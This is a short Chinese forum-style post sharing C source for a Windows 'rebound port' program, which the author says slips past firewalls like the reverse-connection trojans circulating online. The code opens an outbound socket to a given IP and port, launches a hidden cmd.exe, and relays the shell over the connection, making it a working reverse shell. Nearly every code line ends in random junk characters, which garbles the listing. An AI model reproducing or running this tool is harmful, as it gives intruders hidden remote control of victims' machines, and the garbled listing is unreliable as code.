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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 TjswB#  
XX:?7:j}[8  
/* ============================== f'>270pH  
Rebound port in Windows NT 8M DX()Bm  
By wind,2006/7 ~s[St0  
===============================*/ /l)|B  
#include  \W',g[Y:  
#include `1T?\  
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#pragma comment(lib,"wsock32.lib") ;vDjd2@  
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void OutputShell(); #,4CeD|(D,  
SOCKET sClient; )8rN   
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A/%+AH(  
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void main(int argc,char **argv) q#n0!5Lv2  
{ 0M=U >g)  
WSADATA stWsaData; M'"@l $[QM  
int nRet; JO^E x1c  
SOCKADDR_IN stSaiClient,stSaiServer; S.#IC lV  
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if(argc != 3) F z 6&.f  
{ t;?TXAA  
printf("Useage:\n\rRebound DestIP DestPort\n"); f L}3I(VK  
return; 42Vz6 k:  
} <.HDv:  
q|N/vkqPz  
WSAStartup(MAKEWORD(2,2),&stWsaData); r{Cbx#;  
F.%g_Xvk:  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l1utk8'-  
s:fy *6=[Z  
stSaiClient.sin_family = AF_INET; MBO3y&\S4  
stSaiClient.sin_port = htons(0); '0juZ~>}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Gop;!aV1*  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) GF3"$?Cw  
{ !|1GraiS  
printf("Bind Socket Failed!\n"); g3`:d)|  
return; n.a55uy  
} jQgy=;?Lwm  
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stSaiServer.sin_family = AF_INET; :k"VR,riF  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); j%V95M% $  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Gh:hfHiG  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?<l,a!V'6  
{ z'(][SB  
printf("Connect Error!"); #RG/B2  
return; )0Lno|l  
} ^Iz(V2  
OutputShell(); x2KIGG ^  
} ;Rz+4<  
b\dzB\,&  
void OutputShell() etPb^&#$  
{ }!W,/=z*  
char szBuff[1024]; J=*X%^jX9Z  
SECURITY_ATTRIBUTES stSecurityAttributes; <H,q( :pM  
OSVERSIONINFO stOsversionInfo; PS13h_j  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Buue][[  
STARTUPINFO stStartupInfo; _2wU(XYH  
char *szShell; !='?+Ysxs  
PROCESS_INFORMATION stProcessInformation; S"/M+m+ ]  
unsigned long lBytesRead; m-M.F9R  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %p R: .u|  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x P3v65Q1  
stSecurityAttributes.lpSecurityDescriptor = 0; }aPx28:/  
stSecurityAttributes.bInheritHandle = TRUE; FBR]) h'Z  
C|@6rr9TA  
D(m2^\O[  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); CflGj0oy8  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7<ZP(I5X  
RkrZncBgV<  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _aR_ [  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {!$E\e^d  
stStartupInfo.wShowWindow = SW_HIDE; iEtnwSt  
stStartupInfo.hStdInput = hReadPipe; C_&-2Z  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?(up!3S'x  
;Tn$c70  
GetVersionEx(&stOsversionInfo); +;H-0Q5  
G<S(P@ss  
switch(stOsversionInfo.dwPlatformId) g^V4+3v|a'  
{ rr@S|k:|  
case 1: k4:e0Wd  
szShell = "command.com"; 'mH9 O  
break; h7}D//~p  
default: /MErS< 6  
szShell = "cmd.exe"; +E{'A7im8=  
break; x/UmpJD+  
} ?D6?W6@  
B ``)  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :$>Co\D  
.??[qBOTE  
send(sClient,szMsg,77,0); }bW"Z2^nB  
while(1) tML[~AZh  
{ #i8] f{  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K%+[2Hj2  
if(lBytesRead) ~w&_l57  
{ D9cpw0{nc  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .+;;-]})  
send(sClient,szBuff,lBytesRead,0); Y"x9B%e  
} V*uoGWL]+  
else l;N?*2zm[  
{ )&Bf%1>  
lBytesRead=recv(sClient,szBuff,1024,0); N,iYUM?  
if(lBytesRead<=0) break; j J}3WJ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rW.o_z03^  
} :{(` ;fJ  
} X0h`g)Bbf  
th$?#4SbR  
return; *gq~~(jH  
}
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